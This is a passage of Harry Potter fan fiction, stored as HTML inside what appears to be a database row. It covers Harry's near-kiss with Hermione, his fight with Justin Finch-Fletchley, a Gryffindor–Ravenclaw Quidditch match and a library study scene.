studying&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why didn&#8217;t you\ntell me sooner?&#8221; Harry demanded. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I didn&#8217;t want to\nmake a big deal out of it.&#8221; Hermione replied. &#8220;If I ignore him, he usually goes\naway, but I was hoping if he saw you walking me back to my Common Room, he&#8217;d\nleave me alone.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded,\nreleasing her from his grip. &#8220;All right.&#8221; He said as relief wove its way across\nher features. &#8220;But tell me from now on if he tries anything&#8230; you shouldn&#8217;t have\nto put up with his shit.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know.&#8221;\nHermione looked downcast as she picked up her bag. They started down the\ncorridor in silence. &#8220;Are you mad at me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No! Of course\nnot!&#8221; Harry said quickly. He stopped and looked at her. &#8220;Hermione, I just&#8230; I\ndon&#8217;t want him hurting you.&#8221; He bit his tongue. He&#8217;d almost come out and said\nthat he&#8217;d fallen for her; it wasn&#8217;t the right time for that. Instead, Harry\nreached over and took her bag from her shoulder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221; She\nsaid softly, and they resumed walking, but the silence was comfortable this time.\n&#8220;I really appreciate it, Harry.&#8221; She said once they reached the Slytherin\nCommon room entrance.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Anytime.&#8221; He\nsaid, handing her bag back to her. Their hands brushed as she took the bag,\ncausing them both to gasp at the electricity that passed between them. Hermione\nraised her eyes to his; they had darkened from emerald green to a forest hue.\nWhy was he looking at her like that, she wondered, if he felt even a fraction\nof the way she felt about him then&#8230;Hermione swayed a bit under his intense\ngaze.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione&#8230;I&#8230;.&#8221;\nHarry felt at a loss for words as they stared at one another. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She couldn&#8217;t\nfigure out anything to say either, as he gently touched her cheek with his\nfingers. Her breath came in short, ragged gasps as his lips came closer to\nhers. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry watched her\neyes slowly close, she wanted this as bad as he did, he could tell. He lowered\nhis mouth even more; his lips had just brushed against hers&#8230;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So, we have\nanother Hogwarts slut I see!&#8221; Justin Finch Fletchley had just rounded the\ncorner and was looking at them scornfully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry glared at\nhim. &#8220;Go inside, I&#8217;ll deal with this.&#8221; He said, pushing Hermione towards the\ndoor. She spoke the password softly and looked back at him. &#8220;Go!&#8221; he said as\nshe disappeared inside. He turned back to look at Justin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Messing around\nwith my girlfriend?&#8221; he asked, sneering.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She&#8217;s not your\ngirlfriend.&#8221; Harry said coolly, refusing to lose his temper. &#8220;You&#8217;re the dumb\nass who made the mistake of cheating on her; Hermione doesn&#8217;t want anything to\ndo with you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You want her for\nyourself, I can tell.&#8221; Harry and Justin were circling each other like vultures.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Who wouldn&#8217;t\nwant her?&#8221; Harry asked, narrowing his eyes. &#8220;She&#8217;s smart, sensitive, and\nattractive. I suppose that&#8217;s why you had to cheat on her, she was too smart for\nyou.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;The only\nattractive thing about her is her ass; that&#8217;s the only important thing.&#8221; Justin\nsaid and Harry growled and rushed at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You watch what\nyou say about her!&#8221; Harry&#8217;s eyes glowed angrily. He grabbed Justin by his robes\nand pushed him roughly against the wall. &#8220;Hermione&#8217;s not a piece of ass, or a\npiece of anything else for that matter!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s not like\nshe&#8217;s given you any.&#8221; Justin smirked, curling his lip in a Snape-like sneer.\n&#8220;What good is a girl if she doesn&#8217;t put out?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry had heard enough\nby now; he pulled one arm back and rammed his fist into Justin&#8217;s perfect\nstraight nose. &#8220;If I ever, EVER hear about you even going NEAR Hermione again&#8230;&#8221;\nhe glared menacingly down at Justin. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Like you can\nstop me.&#8221; Justin wheezed, holding his nose. Harry snarled and delivered another\nblow, this time knocking him out cold. He watched him fall to the floor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That felt good.&#8221;\nHarry said to himself, then stepped over the unconscious Head Boy and walked\naway, glancing one more time at the Slytherin Common Room before he went around\nthe corner.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: WHEW!! I&#8217;m\nso glad I finished that&#8230;now be good readers and review!!! Thanks!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(78, 5, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 5 part 1</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoBodyText">All review replies will be posted in the\nsecond half of this chapter; we just really wanted to have something out to you\nbefore the holidays. Happy Turkey Day everyone!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Also, we kept\nforgetting to put this in, House Rivalries aren&#8217;t what they are in\ncanon&#8230;everyone pretty much gets along with everyone.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Onward!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You did WHAT?&#8221;\nHermione asked, her eyes going wide.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I knocked him\nout.&#8221; Harry replied matter of factly. It was just after lunch on Saturday, and\nhe had cornered Hermione to tell her about Justin. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Have you gone\nmad?&#8221; she asked, lowering her voice. &#8220;You knocked out the Head Boy? What if he\ngoes to Dumbledore?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He won&#8217;t.&#8221; Harry\nadjusted the shoulder of his scarlet and gold Quidditch robe. Gryffindor was\nplaying against Ravenclaw after lunch that day, he was supposed to be on the\nfield already but he&#8217;d wanted a minute to talk to Hermione. &#8220;Besides, if he\nrats on me for smacking him around, he&#8217;ll also get into trouble because he\nroughed you up too.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you sure?&#8221;\nHermione asked uncertainly. &#8220;I&#8217;m not worth getting into such trouble.&#8221; She\nlowered her head a tiny bit.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s not true\nHermione,&#8221; Harry looked around then leaned in closer to her. &#8220;Besides, I got\nDraco to agree not to show off the underwear unless Finch Fletchley tries\nanything else, then his bright pink knickers will be flying above the\nHufflepuff stands.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione gasped\nand began to giggle; Harry leaned back and grinned. &#8220;I can&#8217;t believe how handy\nthat gift turned out to be.&#8221; She said between fits of laughter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry snorted.\n&#8220;Trust Finch Fletchley to dig himself into a hole on his own. I don&#8217;t get how\nhe was made Head Boy in the first place&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Another one of\nlife&#8217;s greatest mysteries I suppose.&#8221; Hermione said, a smile gracing her face\nas she gazed up at Harry. They both grinned at each other, going red as they\nremembered nearly kissing each other the night before.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;uh&#8230;I\nsuppose I&#8217;d better get down to the field.&#8221; Harry said a moment later. &#8220;You\ncoming to the game?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course.&#8221;\nHermione said quickly. &#8220;I&#8217;ll be rooting for you&#8230;er&#8230;I mean Gryffindor.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry felt the\nblood rush back into his face at her slip up. &#8220;All right&#8230;. so I&#8217;ll see you\nafterwards&#8230;tonight in the library?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione nodded,\ntrying to cover up her embarrassment. &#8220;I&#8217;ll see you later.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded and\nturned to rush outside, he needed to feel some cool air on his burning face.\nJumping on his broom, he flew to the Quidditch field where the rest of his\nteammates were already gathered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s about\nbloody time Harry!&#8221; Ron Weasley, captain of the Gryffindor team, was giving the\nrest of them a pep talk.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sorry.&#8221; Harry\nsaid. &#8220;I had to talk to someone and I lost track of the time.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Anyways, we know\nthat we&#8217;re the best team&#8230;&#8221; Ron went on and Harry stopped listening, instead he\nfound his mind wandering to Hermione. He wondered how he should act around her\nnow, he figured he had made his feelings clear the previous evening when he&#8217;d\nalmost kissed her&#8230;but he wasn&#8217;t sure, she hadn&#8217;t acted much differently around\nhim at lunch. Harry jerked back to attention when he heard Huw Watkins and\nAlyssa Whitley, both 5th year Gryffindors, start the announcements.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We have Weasley,\nPotter, Radcliffe, Watson, Adams, Dunn and Swieca!&#8221; Alyssa&#8217;s voice screamed out\nthe Gryffindor team&#8217;s names as they flew out and around the field. The crowd,\nmainly the Gryffindors and the Slytherins, with a few Hufflepuffs, roared their\napproval as Harry and Ron did a few loops, slapping each other a high five as\nthey flew past.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Malfoy!&#8221; Huw\nshouted, and the Ravenclaws and the majority of the Hufflepuffs went wild.\n&#8220;Reynolds! Trinity! Bickell! Campbell! Conners! Johnson!&#8221; the Ravenclaw team\nwent swooping out weaving their own pattern over the field.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grinned at\nDraco as he looked over at the Slytherin stands. His green eyes swept over the\ncrowd as he tried to see if Hermione was there yet. A few moments later he saw\nher with Blaise, the two of them were bundled up in their black cloaks and\ngreen and silver Slytherin scarves. A burst of happiness shot through him and\nHarry pulled his broom up sharply and did a few daring spins and dives.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Something&#8217;s sure\ngot you happy.&#8221; Draco remarked idly as both teams got into position to start\nthe game.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You could say that.&#8221;\nHarry said back as they flew to opposite ends. Madam Hooch released the balls\nand blew her whistle, and Draco and Harry both took the opportunity to rise\nabove the action.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This have\nanything to do with Hermione Granger?&#8221; Draco asked perceptively as they circled\naround the field, Draco lagging a bit behind so it looked as if he were tailing\nHarry in his pursuit of the Snitch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked\nback. &#8220;Yeah&#8230;you were right.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I always am,\nespecially when it comes to the ladies.&#8221; Draco boasted, feigning a look of\nconcentration.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry mock glared\nback at him. &#8220;Not always, but sometimes.&#8221; He looked forward again so he\nwouldn&#8217;t smash himself into the stands. &#8220;I don&#8217;t know what to do about her\nthough.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you\nmean?&#8221; Draco asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;&#8221; Harry\nwasn&#8217;t sure where to start. &#8220;I told you already about Finch Fletchley, but I\ndidn&#8217;t tell you what happened before that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Did you snog her\nor something?&#8221; He pulled ahead of Harry a bit, and both of them dove down,\npretending they were racing for the tiny golden ball.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;GRYFFINDOR\nSCORES!!&#8221; Alyssa screamed with excitement. &#8220;TEN ZERO!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No.&#8221; Harry\nreplied, pulling up sharply and soaring back into the air.&nbsp; &#8220;Well, not really.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, not really&#8230;&#8221;\nDraco pursed his lips, his white blond hair flying behind him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;I wanted\nto, and I think she wanted to as well&#8230;. and we probably would have if that jerk\noff didn&#8217;t interrupt us.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco snorted.\n&#8220;He won&#8217;t mess with her anymore, not after you beat the shit out of him and I\nhave his pink undies.&#8221; Both boys laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But really, do\nyou think I should kiss her, what if she doesn&#8217;t like me that way and then\ndoesn&#8217;t want to be friends anymore&#8230;&#8221; Harry said uncertainly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Potter, either\nyou kiss her or I will!&#8221; Draco announced, circling Harry swiftly. Harry stared\nat his best friend with his mouth open. &#8220;I was kidding!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry&#8217;s look of\nshock quickly turned to one of sarcastic annoyance. &#8220;You&#8217;re so damn funny\nMalfoy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know.&#8221; Draco\nreplied. &#8220;Really though, she seems to be smart&#8230;she probably won&#8217;t run if you\nplant one on her.&#8221; With that, he zoomed away and across the field.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione held her\nbreath as Harry and Draco both went into a long dive, and released it as they\nboth pulled up sharply. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Honestly, he&#8217;s\ngoing to break his neck.&#8221; She said to Blaise, who was watching Draco with keen\ninterest.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I can&#8217;t believe\nI never noticed before how cute Draco Malfoy is.&#8221; Blaise said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Blaise!&#8221;\nHermione tugged on her friend&#8217;s cloak. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right, sorry,\nbreaking his neck. Why would you want him to do that, I thought you loved him.&#8221;\nShe replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Honestly.&#8221;\nHermione rolled her eyes and snatched the Omnioculars from Blaise&#8217;s hands. She\ntrained them in on Harry, watching with a silent sigh as he flew in crooked\npatterns all over the field. He did a few loops in the air; just for fun she\nwas sure, as the Snitch was nowhere it sight it seemed. Suddenly, he pulled his\nbroom around and looked straight at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh Merlin&#8217;s\nbeard!&#8221; Hermione gasped, almost dropping the Omnioculars on the ground.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Blaise\nasked, her gaze still fixed on Draco.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He just caught\nme watching him.&#8221; Hermione said, embarrassed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So?&#8221; Blaise\nturned and looked at her. &#8220;You almost snogged his brains out last night and\nyou&#8217;re worried about him catching you looking at him?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The match went on\nfor a while, both sides scoring and were now tied 70 &#8211; 70. Harry and Draco both\nseemed to be quite bored, and they were now concentrating on finding the\nSnitch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Is that what you\ntwo do when he takes you flying?&#8221; Blaise asked as the two girls watched Harry\npull another spectacular dive.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Goodness, no!&#8221;\nHermione said. &#8220;He knows how scared I am&#8230;well&#8230;was, of heights, so he took it\nreally easy on me&#8230;except for when he was being a goof.&#8221; Hermione smiled as she\nremembered how Harry had gone high and shown her the view of the countryside. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry swerved\naround a goal post, trying to find the tiny golden glimmer. He hated it when\nthe ball was above the Gryffindor stands, all the scarlet and gold detracted\nfrom the shiny colour of the Snitch. He glanced again for Draco, who was flying\naround the Hufflepuff stands, and then looked again at the Slytherin area at\nHermione. She&#8217;d been looking at him through the Omnioculars, he could tell, and\nthat had pleased him immensely. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on, you\nbloody thing, where are you?&#8221; Harry&#8217;s thoughts returned to the game. He flew\naround for several more minutes as Gryffindor scored another goal. Then he saw\na golden glimmer above the Slytherin stands, it was the Snitch! Harry threw a\nquick glance to see if Draco saw.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He had. Draco was\nracing across the field towards the Slytherin stands at top speed. Harry\nflattened himself against his Firebolt and shot off as well, Draco&#8217;s Nimbus was\nno match for Harry&#8217;s broom; they were neck and neck within just seconds.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;They&#8217;re going to\nfly right into us!&#8221; The girl in front of Hermione screamed. Blaise looked\nstartled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She&#8217;s right,\nHermione, they&#8217;re headed right towards us!&#8221; Blaise cowered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry won&#8217;t hit\nus.&#8221; Hermione said calmly, grabbing the Omnioculars back and focusing them in\non the two boys. Both had extreme looks of concentration etched on their faces,\nHermione nearly fell over at the gleam in Harry&#8217;s sensual green eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you crazy,\nthey&#8217;re AHHHH!&#8221; the girl in front of them screamed and Blaise pulled Hermione\ndown with her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry and Draco\nskimmed over the top of the stands; the Slytherins could feel the breeze as\nthey shot past. Harry gripped his broom with one hand and reached out as far as\nhe could, edging past Draco and grabbing the Snitch with his fingertips. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Pulling up, Harry\nlet out a loud whoop as he held the struggling Snitch in his gloved hand. Ron\nanswered his call from across the field, overjoyed that Harry had once again\nwon a match for Gryffindor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione and\nBlaise stood up and cheered loudly from the Slytherin stands as Harry waved the\nSnitch high above his head. He grinned widely as his eyes ran over the crowd,\nand his gaze locked with Hermione&#8217;s. She laughed and waved at him as he\ngleefully pounded the air with his fist.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The rest of the\nGryffindor team rounded Harry, screaming and shouting with happiness. He knew\nhe wouldn&#8217;t get a chance to talk to Hermione until later when they were in the\nlibrary, so he just gave up and celebrated with his team for the time being.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*****&nbsp;&nbsp;&nbsp;&nbsp; *****&nbsp;&nbsp;&nbsp;&nbsp; Later\nthat evening&nbsp;&nbsp;&nbsp;&nbsp; *****&nbsp;&nbsp;&nbsp;&nbsp; *****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That was a\nspectacular win for you, Harry.&#8221; Hermione said as she shut the large textbook\nset on the table in front of her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grinned.\n&#8220;Thanks.&#8221; He said. They had come to the library together after dinner and had\nbeen working steadily for two hours. &#8220;Did you like that bit where he and I flew\nright over the stands?&#8221; he asked impishly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione narrowed\nher eyes. &#8220;You planned that?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No!&#8221; Harry\nwidened his own eyes. &#8220;But Draco and I got a good laugh from everyone&#8217;s faces.&#8221;\nHe replied innocently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Prat.&#8221; Hermione\ngrinned, scratching her quill over her parchment. &#8220;I&#8217;m finished!&#8221; she crowed\ntriumphantly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry glanced\ndown at his own parchment. &#8220;I still have a page and a half to go.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ha.&#8221; Hermione\nsaid smugly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Will you help\nme?&#8221; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No way.&#8221;\nHermione stretched her arms over her head and leaned back in her chair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Please?&#8221; Harry\nasked again, with a little plea in his tone.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No.&#8221; Hermione\nsaid, closing her eyes and fighting the smile that threatened to spread across\nher face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Pretty please?&#8221;\nHarry asked, pushing his lower lip out. Hermione opened her eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uhhh! Fine!&#8221; she\nsaid and he jumped from his chair and slid into one next to her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks\nHermione.&#8221; He said, grinning widely at her. Hermione blushed and said nothing;\nshe tried to concentrate on the information in the book.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll dictate,\nyou write.&#8221; She said, running her tongue over her lower lip. Harry shifted in\nhis chair as he saw this, all the memories of almost kissing her the previous\nnight came rushing back again. He pushed them from his mind as she talked, and\nwrote furiously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8230;and so Sarah\nGoode was burned a total of 87 times, which is a set record to date.&#8221; Hermione\nfinished, and Harry scrawled the last words and dropped his quill with a\nflourish.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Finished!&#8221; he\nsaid happily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks to me.&#8221; Hermione\nquipped, gathering up his scrolls and adding them to the large pile. &#8220;I can&#8217;t\nbelieve we&#8217;ve finished this.&#8221; She said, arranging them all neatly together.\n&#8220;Twenty five scrolls on the complete history of witch burning, that&#8217;s not an\neasy thing to accomplish.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No it&#8217;s not.&#8221;\nHarry said, flexing his hand, all the writing had cramped it up. &#8220;We make a\ngood team.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione paused\nfor a moment, and then started tying the scrolls together. &#8220;Yes we do.&#8221; She\nmurmured; she wished he were referring to something else.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry reached\nover and grabbed a few scrolls. &#8220;I can help you with that.&#8221; He said, and they\nworked in silence. Both of them realised at that moment that their nights in\nthe library were coming to a close, and it saddened them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Boy, I wonder\nwhat I&#8217;m going to do with all this free time I&#8217;ll have now that we&#8217;ve\nfinished.&#8221; Hermione said, trying to keep her voice light.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We could still\ngo flying together.&#8221; Harry said quickly. &#8220;I still have to turn you into a lean\nmean flier.&#8221; They both laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think that&#8217;ll\nbe awhile, I think if I were to go on my own broom right now I&#8217;d only be about\nfifteen feet from the ground at the highest.&#8221; Hermione said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ahhh I&#8217;ll get\nthat out of you.&#8221; Harry said mischievously. &#8220;I&#8217;m telling you, I can be very\npersuasive.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione dared\nnot look at him; she knew he&#8217;d be gazing at her with those deep green eyes of\nhis. She didn&#8217;t trust herself enough to not reach over and finish what they&#8217;d\ntried to do last night. They finished tying the scrolls and Hermione stacked the\nlibrary books in a neat pile to be returned to the shelves by Madam Pince.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey do you want\nto get out of here?&#8221; Harry asked a minute later.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Hermione\nasked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Like go for a\nwalk or something?&#8221; he said. &#8220;Just over the grounds, maybe even do a bit of\nflying&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure.&#8221; Hermione\nsaid, her voice a bit higher than usual. &#8220;I need to get my cloak though, and I\nwant to take these back to my dormitory.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221;\nHarry said. &#8220;How about we meet by the main doors in ten minutes?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221; Hermione\nnodded, grabbing the scrolls. She dashed off at top speed, throwing the scrolls\non her bed and grabbing her warmest cloak. Throwing it around herself, she tied\nit at her neck, and inspected herself quickly in the mirror.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Slapping at her\ncheeks a bit made them a tad pinker; Hermione also dug through her drawer for\nthe tiny pot of lip gloss that Blaise had given her. She rubbed a bit on, and\nthen forced herself to breathe.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s just a\nwalk, just a walk, and it&#8217;s just a flying lesson.&#8221; She told herself, and then\nran back out to the main hallway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was leaning\nagainst the wall as she approached. &#8220;Ready?&#8221; he asked, smiling at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes.&#8221; She\nanswered. He held his arm out and she looped her hand through it. Suppressing a\ngiggle as Harry thoughtfully held the door open for her, they both stepped\noutside as the early March air nipped at their faces.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Bit warm for\nearly spring&#8230;&#8221; Hermione heard herself saying as they started walking down the\npath.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes it 